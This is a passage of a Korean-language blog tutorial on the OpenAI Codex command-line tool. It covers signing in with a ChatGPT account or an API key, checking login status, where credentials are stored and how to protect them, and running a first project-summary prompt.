&lt;p data-ke-size=&quot;size16&quot;&gt;(Codex app 다운로드를 유도하는데 App은 별도의 글에서 다룬다. &amp;gt; &lt;a href=&quot;https://goddaehee.tistory.com/590&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex Mac App 가이드: 설치부터 권한, MCP, 자동화까지 &lt;/a&gt;)&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MZhnf/dJMcaaZt9vL/s4EsmkdLwkDkZfCuFVyZgK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MZhnf/dJMcaaZt9vL/s4EsmkdLwkDkZfCuFVyZgK/img.png&quot; style=&quot;width: 48.723%; margin-right: 10px;&quot; width=&quot;355&quot; height=&quot;610&quot; data-origin-width=&quot;714&quot; data-origin-height=&quot;1226&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;49.3&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MZhnf/dJMcaaZt9vL/s4EsmkdLwkDkZfCuFVyZgK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMZhnf%2FdJMcaaZt9vL%2Fs4EsmkdLwkDkZfCuFVyZgK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;714&quot; height=&quot;1226&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/R6mWr/dJMb997mdnL/D99lCqr1OtWpAQk7DvAezK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/R6mWr/dJMb997mdnL/D99lCqr1OtWpAQk7DvAezK/img.png&quot; style=&quot;width: 50.1142%;&quot; width=&quot;344&quot; height=&quot;574&quot; data-origin-width=&quot;726&quot; data-origin-height=&quot;1212&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;50.7&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/R6mWr/dJMb997mdnL/D99lCqr1OtWpAQk7DvAezK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FR6mWr%2FdJMb997mdnL%2FD99lCqr1OtWpAQk7DvAezK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;726&quot; height=&quot;1212&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;입문자라면 IDE 확장도 좋은 시작점이다.&lt;/b&gt;&lt;br /&gt;터미널 명령어가 아직 낯설다면 플러그인처럼 에디터 안에서 Codex를 먼저 써보는 편이 부담이 적다. 로컬 변경사항을 에디터 안에서 미리 보고, Codex가 제안한 코드도 바로 확인할 수 있기 때문이다.&lt;br /&gt;&lt;br /&gt;DE 확장에서 클라우드 작업을 새로 만들고, 진행 중인 작업을 추적하고, 완료된 작업을 검토할 수 있다고 설명한다. 쉽게 말해 간단한 수정은 에디터 안에서 바로 처리하고, 오래 걸리는 작업은 클라우드에 맡긴 뒤 결과를 다시 에디터에서 이어볼 수 있다는 뜻이다. &lt;br /&gt;다만 CI/CD(자동 빌드&amp;middot;테스트&amp;middot;배포), 자동화, 원격 서버 작업까지 다루려면 CLI 흐름도 알아두는 편이 좋다. &lt;br /&gt;그래서 이 글에서는 CLI를 중심으로 설명하고, 에디터 중심 개발자는 IDE 확장을 함께 쓰는 방식을 추천한다.&lt;/div&gt;
&lt;!-- 섹션 2: 인증하기 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 인증하기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;설치가 끝나면 터미널에 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex&lt;/code&gt;를 입력해 실행한다. 첫 실행 시 ChatGPT 계정 또는 OpenAI API 키로 인증할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2140&quot; data-origin-height=&quot;1162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/uAF1V/dJMcacXiF2k/iTV9CcxfkHMTtbksXJsA41/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/uAF1V/dJMcacXiF2k/iTV9CcxfkHMTtbksXJsA41/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/uAF1V/dJMcacXiF2k/iTV9CcxfkHMTtbksXJsA41/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FuAF1V%2FdJMcacXiF2k%2FiTV9CcxfkHMTtbksXJsA41%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2140&quot; height=&quot;1162&quot; data-origin-width=&quot;2140&quot; data-origin-height=&quot;1162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 인증이라는 것은 &quot;이 사용자가 Codex를 사용할 권한이 있는지 확인하는 과정&quot;이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 방식은 단순한 로그인 화면 차이가 아니다. 접근 권한, 요금 체계, 사용할 수 있는 기능, 적용되는 데이터 처리 정책이 조금씩 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.1 ChatGPT 계정으로 로그인&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;ChatGPT 계정 로그인&lt;/b&gt;: ChatGPT 계정의 Codex 사용량과 권한을 사용하는 방식이다. &lt;br /&gt;2026년 5월 기준 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;Codex pricing 문서&lt;/a&gt;는 ChatGPT Free, Go, Plus, Pro, Business, Edu, Enterprise 플랜에 Codex가 포함된다고 설명한다. &lt;br /&gt;다만 플랜별 사용량, 모델, 클라우드 기능 지원 범위는 다르다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;터미널에서 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex&lt;/code&gt;라고 입력해보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어 내 환경에서는 로그인 방식을 선택하는 화면이 나왔다. 나는 ChatGPT Pro 플랜을 사용 중이라 ChatGPT 계정 로그인을 선택했다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1014&quot; data-origin-height=&quot;980&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dx8Qo5/dJMcacQxqoA/XYkGyKLko7UBWqBGdXcsuk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dx8Qo5/dJMcacQxqoA/XYkGyKLko7UBWqBGdXcsuk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dx8Qo5/dJMcacQxqoA/XYkGyKLko7UBWqBGdXcsuk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdx8Qo5%2FdJMcacQxqoA%2FXYkGyKLko7UBWqBGdXcsuk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;469&quot; height=&quot;453&quot; data-origin-width=&quot;1014&quot; data-origin-height=&quot;980&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;브라우저가 열리면 사용 중인 ChatGPT 계정으로 인증을 완료한다.&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLuiE1/dJMb990CGF2/OPz4AwYBLk2u7K94KxrNZK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLuiE1/dJMb990CGF2/OPz4AwYBLk2u7K94KxrNZK/img.png&quot; style=&quot;width: 31.6586%; margin-right: 10px;&quot; width=&quot;394&quot; height=&quot;527&quot; data-origin-width=&quot;1054&quot; data-origin-height=&quot;1410&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;32.03&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLuiE1/dJMb990CGF2/OPz4AwYBLk2u7K94KxrNZK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLuiE1%2FdJMb990CGF2%2FOPz4AwYBLk2u7K94KxrNZK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1054&quot; height=&quot;1410&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bEyNPT/dJMcacJN8hP/6pSZNQ3tOkDAlDmWPZinRk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bEyNPT/dJMcacJN8hP/6pSZNQ3tOkDAlDmWPZinRk/img.png&quot; style=&quot;width: 67.1786%;&quot; data-origin-width=&quot;644&quot; data-origin-height=&quot;406&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;67.97&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bEyNPT/dJMcacJN8hP/6pSZNQ3tOkDAlDmWPZinRk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbEyNPT%2FdJMcacJN8hP%2F6pSZNQ3tOkDAlDmWPZinRk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;644&quot; height=&quot;406&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증이 끝난 뒤 터미널로 돌아와 Enter 키를 누르면 Codex를 사용할 준비가 된다.&lt;/p&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/L3CVD/dJMcagZGAN1/ODMjmFQx1ytxfDU9g0ZTAk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/L3CVD/dJMcagZGAN1/ODMjmFQx1ytxfDU9g0ZTAk/img.png&quot; style=&quot;width: 32.3219%; margin-right: 10px;&quot; width=&quot;440&quot; height=&quot;488&quot; data-origin-width=&quot;898&quot; data-origin-height=&quot;996&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;32.7&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/L3CVD/dJMcagZGAN1/ODMjmFQx1ytxfDU9g0ZTAk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FL3CVD%2FdJMcagZGAN1%2FODMjmFQx1ytxfDU9g0ZTAk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;898&quot; height=&quot;996&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cdehlQ/dJMcahxzhdQ/s3FipkYkUu1q1Q0kbjP56K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cdehlQ/dJMcahxzhdQ/s3FipkYkUu1q1Q0kbjP56K/img.png&quot; style=&quot;width: 66.5154%;&quot; width=&quot;493&quot; height=&quot;266&quot; data-origin-width=&quot;924&quot; data-origin-height=&quot;498&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;67.3&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cdehlQ/dJMcahxzhdQ/s3FipkYkUu1q1Q0kbjP56K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcdehlQ%2FdJMcahxzhdQ%2Fs3FipkYkUu1q1Q0kbjP56K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;924&quot; height=&quot;498&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.2 OpenAI API 키로 로그인&lt;/h3&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;API 키 인증&lt;/b&gt;: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/auth&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 인증 문서&lt;/a&gt;에 따르면 OpenAI Platform 계정을 통해 표준 API 요금으로 청구된다. &lt;br /&gt;API 키는 프로그램이 OpenAI Platform API에 접근할 때 쓰는 비밀번호 같은 값이다. &lt;br /&gt;CI/CD처럼 사람이 직접 누르지 않고 자동으로 빌드&amp;middot;테스트&amp;middot;배포하는 흐름에 어울린다.&lt;/div&gt;
&lt;pre class=&quot;coq&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;printenv OPENAI_API_KEY | codex login --with-api-key&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;API 키 인증을 사용할 때 한 가지 주의할 점이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ChatGPT 계정 대신 API 키를 쓰면 클라우드 쪽에서 이어지는 일부 기능을 사용할 수 없을 수 있다고 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/pricing&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;가격 문서&lt;/a&gt;도 API 키 방식은 CLI, SDK, IDE 확장에는 쓸 수 있지만 GitHub 코드 리뷰나 Slack 같은 클라우드 기반 기능은 제공되지 않는다고 설명한다. 개인 개발 작업이라면 ChatGPT 계정 로그인이, 자동화 스크립트나 CI/CD 파이프라인이라면 API 키가 적합하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.3 인증 방식 선택 가이드&lt;/h3&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;상황&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;권장 방식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;개인 개발, 대화형 작업&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;ChatGPT 계정 로그인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;CI/CD(자동 빌드&amp;middot;테스트&amp;middot;배포), 자동화 스크립트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;API 키 인증&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;조직 워크스페이스 권한과 데이터 보관 정책을 맞춰야 할 때&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;ChatGPT 계정 (조직 설정 적용 범위 확인 필요)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브라우저를 열 수 없는 서버/원격 환경&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex login --device-auth&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 정리하면 이렇다. 직접 개발하면서 대화하듯 쓸 거라면 ChatGPT 계정이 편하고, 자동화 작업에 붙일 거라면 API 키가 더 자연스럽다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;보안 주의&lt;/b&gt;: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://developers.openai.com/codex/auth&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;공식 인증 문서&lt;/a&gt;에 따르면 자격증명 저장 위치는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;file&lt;/code&gt;(&lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;CODEX_HOME/auth.json&lt;/code&gt;, 기본값은 보통 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;~/.codex/auth.json&lt;/code&gt;), &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;keyring&lt;/code&gt;(macOS 키체인이나 Windows 자격 증명 관리자 같은 OS 보안 저장소), &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;auto&lt;/code&gt; 중 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;config.toml&lt;/code&gt;에서 선택할 수 있다. &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;file&lt;/code&gt; 방식을 쓰면 이 인증 파일을 비밀번호처럼 다뤄야 한다. Git에 커밋하거나 티켓/채팅에 붙여 넣으면 안 된다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2.4 로그인 상태 확인과 로그아웃&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입문 단계에서 의외로 자주 막히는 부분이 &quot;내가 지금 어떤 방식으로 로그인되어 있는지&quot;다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;codex login status&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들면 다음처럼 확인할 수 있다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1840&quot; data-origin-height=&quot;692&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bUMH5U/dJMcadPotDu/CzBRsTl3F2NwhiP0477YSk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bUMH5U/dJMcadPotDu/CzBRsTl3F2NwhiP0477YSk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bUMH5U/dJMcadPotDu/CzBRsTl3F2NwhiP0477YSk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbUMH5U%2FdJMcadPotDu%2FCzBRsTl3F2NwhiP0477YSk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1840&quot; height=&quot;692&quot; data-origin-width=&quot;1840&quot; data-origin-height=&quot;692&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;계정을 바꾸거나 API 키 인증을 지우고 싶다면 다음 명령어를 사용한다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;codex logout&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;회사 네트워크처럼 사내 인증서나 TLS 프록시를 쓰는 환경에서는 로그인 과정에서 인증서 문제가 날 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 경우 공식 인증 문서는 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;CODEX_CA_CERTIFICATE&lt;/code&gt; 환경 변수로 사내 루트 CA 번들을 지정하는 방법도 안내한다. 일반 개인 개발자는 보통 신경 쓰지 않아도 되지만, 회사 장비에서 로그인 실패가 반복된다면 확인할 만하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3: 첫 명령 실행하기 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 처음 실행해보기&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인증까지 마쳤다면 프로젝트 디렉토리, 즉 내가 작업하려는 코드 폴더로 이동한 뒤 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;codex&lt;/code&gt;를 실행한다. 터미널 UI가 열리면 평소 말하듯 작업을 입력하면 된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2112&quot; data-origin-height=&quot;1162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/eyy0jL/dJMcadBPSnZ/lvsjFzNwkkbZXVza7AKf7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/eyy0jL/dJMcadBPSnZ/lvsjFzNwkkbZXVza7AKf7K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/eyy0jL/dJMcadBPSnZ/lvsjFzNwkkbZXVza7AKf7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Feyy0jL%2FdJMcadBPSnZ%2FlvsjFzNwkkbZXVza7AKf7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2112&quot; height=&quot;1162&quot; data-origin-width=&quot;2112&quot; data-origin-height=&quot;1162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;예시 1: 프로젝트 분석&lt;/h3&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; font-family: 'Fira Code', 'Consolas', monospace; padding: 15px; border-radius: 8px; overflow-x: auto; font-size: 14px; line-height: 1.6; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Tell me about this project&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 처음 해볼 만한 명령이다. Codex가 현재 폴더의 코드를 읽고 프로젝트 구조를 설명해준다. 여기서 모듈은 기능별로 나뉜 코드 묶음, 의존성은 이 프로젝트가 가져다 쓰는 외부 라이브러리라고 생각하면 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한국어로는 &quot;해당 프로젝트에 대해 간단히 요약해줘&quot;처럼 입력해도 된다.&lt;/p&gt;
